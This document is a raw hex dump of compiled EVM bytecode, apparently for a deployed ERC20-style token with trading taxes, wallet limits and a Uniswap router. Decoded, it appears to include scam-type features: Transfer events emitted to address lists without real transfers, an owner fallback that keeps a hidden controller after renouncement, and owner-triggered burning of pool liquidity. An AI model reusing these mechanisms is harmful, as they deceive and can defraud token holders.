36174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006152df602183613e78565b91506152ea82615283565b604082019050919050565b6000602082019050818103600083015261530e816152d2565b9050919050565b600081905092915050565b50565b6000615330600083615315565b915061533b82615320565b600082019050919050565b600061535182615323565b9150819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061539981613f5b565b92915050565b6000602082840312156153b5576153b4613f1f565b5b60006153c38482850161538a565b91505092915050565b6000819050919050565b60006153f16153ec6153e7846153cc565b614060565b613f87565b9050919050565b615401816153d6565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61543c81613f49565b82525050565b600061544e8383615433565b60208301905092915050565b6000602082019050919050565b600061547282615407565b61547c8185615412565b935061548783615423565b8060005b838110156154b857815161549f8882615442565b97506154aa8361545a565b92505060018101905061548b565b5085935050505092915050565b600060a0820190506154da60008301886140da565b6154e760208301876153f8565b81810360408301526154f98186615467565b90506155086060830185614249565b61551560808301846140da565b969550505050505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122062479b45807d6f067ebb431079600ef58216f76f4000c48b8a0ad3d77a31a61764736f6c63430008120033

Deployed Bytecode

0x6080604052600436106103f35760003560e01c80638da5cb5b11610208578063c024666811610118578063dd62ed3e116100ab578063f11a24d31161007a578063f11a24d314610f38578063f2fde38b14610f63578063f637434214610f8c578063f8b45b0514610fb7578063fe72b27a14610fe2576103fa565b8063dd62ed3e14610e68578063e02ae09f14610ea5578063e2f4560514610ee2578063e884f26014610f0d576103fa565b8063c8c8ebe4116100e7578063c8c8ebe414610d98578063ce12e64c14610dc3578063d257b34f14610e00578063d85ba06314610e3d576103fa565b8063c024666814610cf2578063c17b5b8c14610d1b578063c18bc19514610d44578063c876d0b914610d6d576103fa565b8063a0d82dc51161019b578063a9059cbb1161016a578063a9059cbb14610bfb578063aacebbe314610c38578063b62496f514610c61578063bbbb3ffc14610c9e578063bbc0c74214610cc7576103fa565b8063a0d82dc514610b3f578063a165506f14610b6a578063a457c2d714610b93578063a4c82a0014610bd0576103fa565b806395d89b41116101d757806395d89b4114610a935780639c3b4fdc14610abe5780639ec22c0e14610ae95780639fccce3214610b14576103fa565b80638da5cb5b146109e95780638ea5220f14610a145780639213691314610a3f578063924de9b714610a6a576103fa565b80633582ad2311610303578063715018a6116102965780637571336a116102655780637571336a1461092a57806375f0a874146109535780637bce5a041461097e5780638095d564146109a95780638a8c523c146109d2576103fa565b8063715018a614610896578063730c1888146108ad57806373fa7ddb146108d6578063751039fc146108ff576103fa565b80634fbee193116102d25780634fbee193146107c65780636a486a8e146108035780636ddd17131461082e57806370a0823114610859576103fa565b80633582ad231461070a57806339509351146107355780633eb2b5ad1461077257806349bd5a5e1461079b576103fa565b80631a8145bb1161038657806326ededb81161035557806326ededb81461063557806327c8f8351461065e5780632c3e486c146106895780632e82f1a0146106b4578063313ce567146106df576103fa565b80631a8145bb146105795780631f3fed8f146105a4578063203e727e146105cf57806323b872dd146105f8576103fa565b806318160ddd116103c257806318160ddd146104cf5780631816467f146104fa578063184c16c514610523578063199ffc721461054e576103fa565b806306fdde03146103ff578063095ea7b31461042a57806310d5de53146104675780631694505e146104a4576103fa565b366103fa57005b600080fd5b34801561040b57600080fd5b5061041461101f565b6040516104219190613efd565b60405180910390f35b34801561043657600080fd5b50610451600480360381019061044c9190613fbd565b6110b1565b60405161045e9190614018565b60405180910390f35b34801561047357600080fd5b5061048e60048036038101906104899190614033565b6110cf565b60405161049b9190614018565b60405180910390f35b3480156104b057600080fd5b506104b96110ef565b6040516104c691906140bf565b60405180910390f35b3480156104db57600080fd5b506104e4611113565b6040516104f191906140e9565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c9190614033565b61111d565b005b34801561052f57600080fd5b506105386111e5565b60405161054591906140e9565b60405180910390f35b34801561055a57600080fd5b506105636111eb565b60405161057091906140e9565b60405180910390f35b34801561058557600080fd5b5061058e6111f1565b60405161059b91906140e9565b60405180910390f35b3480156105b057600080fd5b506105b96111f7565b6040516105c691906140e9565b60405180910390f35b3480156105db57600080fd5b506105f660048036038101906105f19190614104565b6111fd565b005b34801561060457600080fd5b5061061f600480360381019061061a9190614131565b611298565b60405161062c9190614018565b60405180910390f35b34801561064157600080fd5b5061065c600480360381019061065791906141e9565b611371565b005b34801561066a57600080fd5b5061067361144e565b6040516106809190614258565b60405180910390f35b34801561069557600080fd5b5061069e611454565b6040516106ab91906140e9565b60405180910390f35b3480156106c057600080fd5b506106c961145a565b6040516106d69190614018565b60405180910390f35b3480156106eb57600080fd5b506106f461146d565b604051610701919061428f565b60405180910390f35b34801561071657600080fd5b5061071f611476565b60405161072c9190614018565b60405180910390f35b34801561074157600080fd5b5061075c60048036038101906107579190613fbd565b611489565b6040516107699190614018565b60405180910390f35b34801561077e57600080fd5b5061079960048036038101906107949190614033565b61153c565b005b3480156107a757600080fd5b506107b06115e3565b6040516107bd9190614258565b60405180910390f35b3480156107d257600080fd5b506107ed60048036038101906107e89190614033565b611609565b6040516107fa9190614018565b60405180910390f35b34801561080f57600080fd5b5061081861165f565b60405161082591906140e9565b60405180910390f35b34801561083a57600080fd5b50610843611665565b6040516108509190614018565b60405180910390f35b34801561086557600080fd5b50610880600480360381019061087b9190614033565b611678565b60405161088d91906140e9565b60405180910390f35b3480156108a257600080fd5b506108ab6116c0565b005b3480156108b957600080fd5b506108d460048036038101906108cf91906142d6565b611789565b005b3480156108e257600080fd5b506108fd60048036038101906108f89190614329565b611855565b005b34801561090b57600080fd5b50610914611902565b6040516109219190614018565b60405180910390f35b34801561093657600080fd5b50610951600480360381019061094c9190614389565b61192e565b005b34801561095f57600080fd5b50610968611991565b6040516109759190614258565b60405180910390f35b34801561098a57600080fd5b506109936119b7565b6040516109a091906140e9565b60405180910390f35b3480156109b557600080fd5b506109d060048036038101906109cb91906143c9565b6119bd565b005b3480156109de57600080fd5b506109e7611a48565b005b3480156109f557600080fd5b506109fe611a8f565b604051610a0b9190614258565b60405180910390f35b348015610a2057600080fd5b50610a29611ab9565b604051610a369190614258565b60405180910390f35b348015610a4b57600080fd5b50610a54611adf565b604051610a6191906140e9565b60405180910390f35b348015610a7657600080fd5b50610a916004803603810190610a8c919061441c565b611ae5565b005b348015610a9f57600080fd5b50610aa8611b0a565b604051610ab59190613efd565b60405180910390f35b348015610aca57600080fd5b50610ad3611b9c565b604051610ae091906140e9565b60405180910390f35b348015610af557600080fd5b50610afe611ba2565b604051610b0b91906140e9565b60405180910390f35b348015610b2057600080fd5b50610b29611ba8565b604051610b3691906140e9565b60405180910390f35b348015610b4b57600080fd5b50610b54611bae565b604051610b6191906140e9565b60405180910390f35b348015610b7657600080fd5b50610b916004803603810190610b8c9190614449565b611bb4565b005b348015610b9f57600080fd5b50610bba6004803603810190610bb59190613fbd565b611bca565b604051610bc79190614018565b60405180910390f35b348015610bdc57600080fd5b50610be5611c97565b604051610bf291906140e9565b60405180910390f35b348015610c0757600080fd5b50610c226004803603810190610c1d9190613fbd565b611c9d565b604051610c2f9190614018565b60405180910390f35b348015610c4457600080fd5b50610c5f6004803603810190610c5a9190614033565b611cbb565b005b348015610c6d57600080fd5b50610c886004803603810190610c839190614033565b611d83565b604051610c959190614258565b60405180910390f35b348015610caa57600080fd5b50610cc56004803603810190610cc09190614449565b611db6565b005b348015610cd357600080fd5b50610cdc611e9a565b604051610ce99190614018565b60405180910390f35b348015610cfe57600080fd5b50610d196004803603810190610d149190614389565b611ead565b005b348015610d2757600080fd5b50610d426004803603810190610d3d91906143c9565b611f5e565b005b348015610d5057600080fd5b50610d6b6004803603810190610d669190614104565b611fe9565b005b348015610d7957600080fd5b50610d82612084565b604051610d8f9190614018565b60405180910390f35b348015610da457600080fd5b50610dad612097565b604051610dba91906140e9565b60405180910390f35b348015610dcf57600080fd5b50610dea6004803603810190610de59190614033565b61209d565b604051610df79190614018565b60405180910390f35b348015610e0c57600080fd5b50610e276004803603810190610e229190614104565b6120bd565b604051610e349190614018565b60405180910390f35b348015610e4957600080fd5b50610e5261219e565b604051610e5f91906140e9565b60405180910390f35b348015610e7457600080fd5b50610e8f6004803603810190610e8a9190614449565b6121a4565b604051610e9c91906140e9565b60405180910390f35b348015610eb157600080fd5b50610ecc6004803603810190610ec79190614033565b61222b565b604051610ed99190614018565b60405180910390f35b348015610eee57600080fd5b50610ef7612281565b604051610f0491906140e9565b60405180910390f35b348015610f1957600080fd5b50610f22612287565b604051610f2f9190614018565b60405180910390f35b348015610f4457600080fd5b50610f4d6122b3565b604051610f5a91906140e9565b60405180910390f35b348015610f6f57600080fd5b50610f8a6004803603810190610f859190614033565b6122b9565b005b348015610f9857600080fd5b50610fa16123f0565b604051610fae91906140e9565b60405180910390f35b348015610fc357600080fd5b50610fcc6123f6565b604051610fd991906140e9565b60405180910390f35b348015610fee57600080fd5b5061100960048036038101906110049190614104565b6123fc565b6040516110169190614018565b60405180910390f35b60606003805461102e906144b8565b80601f016020809104026020016040519081016040528092919081815260200182805461105a906144b8565b80156110a75780601f1061107c576101008083540402835291602001916110a7565b820191906000526020600020905b81548152906001019060200180831161108a57829003601f168201915b5050505050905090565b60006110c56110be6126f7565b84846126ff565b6001905092915050565b60236020528060005260406000206000915054906101000a900460ff1681565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600254905090565b6111256128c8565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600d5481565b600f5481565b601e5481565b601d5481565b6112056128c8565b670de0b6b3a76400006103e8600161121b611113565b6112259190614518565b61122f9190614589565b6112399190614589565b81101561127b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112729061462c565b60405180910390fd5b670de0b6b3a76400008161128f9190614518565b60098190555050565b60006112a5848484612946565b611366846112b16126f7565b6113618560405180606001604052806028815260200161554660289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006113176126f7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461346a9092919063ffffffff16565b6126ff565b600190509392505050565b6113796128c8565b60005b838390508110156114485783838281811061139a5761139961464c565b5b90506020020160208101906113af9190614033565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161142d91906140e9565b60405180910390a380806114409061467b565b91505061137c565b50505050565b61dead81565b60115481565b601060009054906101000a900460ff1681565b60006012905090565b601360009054906101000a900460ff1681565b60006115326114966126f7565b8461152d85600160006114a76126f7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461269990919063ffffffff16565b6126ff565b6001905092915050565b6115446128c8565b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461159f57600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000602260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60195481565b601360029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6116c86128c8565b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6117916128c8565b6102588310156117d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117cd90614735565b60405180910390fd5b6103e882111580156117e9575060008210155b611828576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181f906147c7565b60405180910390fd5b8260118190555081600f8190555080601060006101000a81548160ff021916908315150217905550505050565b61185d6128c8565b60005b838390508110156118fc5781601460008686858181106118835761188261464c565b5b90506020020160208101906118989190614033565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806118f49061467b565b915050611860565b50505050565b600061190c6128c8565b6000601360006101000a81548160ff0219169083151502179055506001905090565b6119366128c8565b80602360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60165481565b6119c56128c8565b8260168190555081601781905550806018819055506018546017546016546119ed91906147e7565b6119f791906147e7565b60158190555060196015541115611a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3a90614867565b60405180910390fd5b505050565b611a506128c8565b6001601360016101000a81548160ff0219169083151502179055506001601360026101000a81548160ff02191690831515021790555042601281905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601a5481565b611aed6128c8565b80601360026101000a81548160ff02191690831515021790555050565b606060048054611b19906144b8565b80601f0160208091040260200160405190810160405280929190818152602001828054611b45906144b8565b8015611b925780601f10611b6757610100808354040283529160200191611b92565b820191906000526020600020905b815481529060010190602001808311611b7557829003601f168201915b5050505050905090565b60185481565b600e5481565b601f5481565b601c5481565b611bbc6128c8565b611bc68282611db6565b5050565b6000611c8d611bd76126f7565b84611c888560405180606001604052806025815260200161556e6025913960016000611c016126f7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461346a9092919063ffffffff16565b6126ff565b6001905092915050565b60125481565b6000611cb1611caa6126f7565b8484612946565b6001905092915050565b611cc36128c8565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60246020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611dbe6128c8565b80602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f1ae86e1795cd1c161e96c6525438e119d8492810817588494e7b4e2c871793d960405160405180910390a35050565b601360019054906101000a900460ff1681565b611eb56128c8565b80602260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051611f529190614018565b60405180910390a25050565b611f666128c8565b82601a8190555081601b8190555080601c81905550601c54601b54601a54611f8e91906147e7565b611f9891906147e7565b60198190555060636019541115611fe4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fdb906148d3565b60405180910390fd5b505050565b611ff16128c8565b670de0b6b3a76400006103e86005612007611113565b6120119190614518565b61201b9190614589565b6120259190614589565b811015612067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205e90614965565b60405180910390fd5b670de0b6b3a76400008161207b9190614518565b60088190555050565b602160009054906101000a900460ff1681565b60095481565b60146020528060005260406000206000915054906101000a900460ff1681565b60006120c76128c8565b620186a060016120d5611113565b6120df9190614518565b6120e99190614589565b82101561212b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612122906149f7565b60405180910390fd5b6103e8600a612138611113565b6121429190614518565b61214c9190614589565b82111561218e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218590614a89565b60405180910390fd5b81600a8190555060019050919050565b60155481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600a5481565b60006122916128c8565b6000602160006101000a81548160ff0219169083151502179055506001905090565b60175481565b6122c16128c8565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612330576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161232790614b1b565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601b5481565b60085481565b60006124066128c8565b600d54600e5461241691906147e7565b4211612457576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244e90614b87565b60405180910390fd5b6103e882111561249c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161249390614c19565b60405180910390fd5b42600e8190555060003073ffffffffffffffffffffffffffffffffffffffff166370a08231600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b81526004016125009190614258565b602060405180830381865afa15801561251d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125419190614c4e565b9050600061256c61271061255e86856134ce90919063ffffffff16565b61354890919063ffffffff16565b905060008111156125a7576125a6600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661dead83613592565b5b600060246000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561267557600080fd5b505af1158015612689573d6000803e3d6000fd5b5050505060019350505050919050565b60008082846126a891906147e7565b9050838110156126ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126e490614cc7565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361276e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276590614d59565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036127dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127d490614deb565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516128bb91906140e9565b60405180910390a3505050565b6128d06126f7565b73ffffffffffffffffffffffffffffffffffffffff166128ee613825565b73ffffffffffffffffffffffffffffffffffffffff1614612944576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161293b90614e57565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036129b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129ac90614ee9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612a24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1b90614f7b565b60405180910390fd5b60008103612a3d57612a3883836000613592565b613465565b601360009054906101000a900460ff161561305457612a5a611a8f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612ac85750612a98611a8f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b015750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b3b575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612b545750600760149054906101000a900460ff16155b1561305357601360019054906101000a900460ff16612c4e57602260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612c0e5750602260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612c4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c4490614fe7565b60405180910390fd5b5b602160009054906101000a900460ff1615612e1857612c6b611a8f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612cf257507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612d4c5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612e175743602060003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612dd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dc99061509f565b60405180910390fd5b43602060003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b602360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612f0b57600954811115612eae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ea590615131565b60405180910390fd5b600854612eba83611678565b82612ec591906147e7565b1115612f06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612efd9061519d565b60405180910390fd5b613052565b602360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612fa657600954811115612fa1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f989061522f565b60405180910390fd5b613051565b602360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166130505760085461300383611678565b8261300e91906147e7565b111561304f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130469061519d565b60405180910390fd5b5b5b5b5b5b600061305f30611678565b90506000600a5482101590508080156130845750601360029054906101000a900460ff165b801561309d5750600760149054906101000a900460ff16155b80156130f35750602260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156131495750602260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561318d576001600760146101000a81548160ff021916908315150217905550613171613839565b6000600760146101000a81548160ff0219169083151502179055505b600760149054906101000a900460ff161580156131b65750601060009054906101000a900460ff165b156131c6576131c4856139c1565b505b6000600760149054906101000a900460ff16159050602260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061327c5750602260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561328657600090505b600081156134555760006019541115613361576132c160646132b3601954886134ce90919063ffffffff16565b61354890919063ffffffff16565b9050601954601b54826132d49190614518565b6132de9190614589565b601e60008282546132ef91906147e7565b92505081905550601954601c54826133079190614518565b6133119190614589565b601f600082825461332291906147e7565b92505081905550601954601a548261333a9190614518565b6133449190614589565b601d600082825461335591906147e7565b92505081905550613431565b60006015541115613430576133946064613386601554886134ce90919063ffffffff16565b61354890919063ffffffff16565b9050601554601754826133a79190614518565b6133b19190614589565b601e60008282546133c291906147e7565b92505081905550601554601854826133da9190614518565b6133e49190614589565b601f60008282546133f591906147e7565b925050819055506015546016548261340d9190614518565b6134179190614589565b601d600082825461342891906147e7565b925050819055505b5b600081111561344657613445873083613592565b5b8085613452919061524f565b94505b613460878787613592565b505050505b505050565b60008383111582906134b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016134a99190613efd565b60405180910390fd5b50600083856134c1919061524f565b9050809150509392505050565b60008083036134e05760009050613542565b600082846134ee9190614518565b90508284826134fd9190614589565b1461353d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613534906152f5565b60405180910390fd5b809150505b92915050565b600061358a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613a7f565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603613601576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135f890614ee9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613670576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161366790614f7b565b60405180910390fd5b61367b838383613ae2565b6136e681604051806060016040528060268152602001615520602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461346a9092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613779816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461269990919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161381891906140e9565b60405180910390a3505050565b600080613830613ae7565b90508091505090565b600061384430611678565b90506000601f54601d54601e5461385b91906147e7565b61386591906147e7565b90506000808314806138775750600082145b15613884575050506139bf565b6014600a546138939190614518565b8311156138ac576014600a546138a99190614518565b92505b6000600283601e54866138bf9190614518565b6138c99190614589565b6138d39190614589565b905060006138ea8286613b8f90919063ffffffff16565b905060004790506138fa82613bd9565b600061390f8247613b8f90919063ffffffff16565b90506000601e819055506000601d819055506000601f81905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168160405161396f90615346565b60006040518083038185875af1925050503d80600081146139ac576040519150601f19603f3d011682016040523d82523d6000602084013e6139b1565b606091505b505080955050505050505050505b565b6000803073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016139fd9190614258565b602060405180830381865afa158015613a1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613a3e9190614c4e565b90506000613a57600f548361269990919063ffffffff16565b9050613a6284613e16565b613a745760008114613a7357600080fd5b5b600192505050919050565b60008083118290613ac6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613abd9190613efd565b60405180910390fd5b5060008385613ad59190614589565b9050809150509392505050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613b6657600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613b8a565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b6000613bd183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061346a565b905092915050565b6000600267ffffffffffffffff811115613bf657613bf561535b565b5b604051908082528060200260200182016040528015613c245781602001602082028036833780820191505090505b5090503081600081518110613c3c57613c3b61464c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613ce1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613d05919061539f565b81600181518110613d1957613d1861464c565b5b602002602001019073ffffffff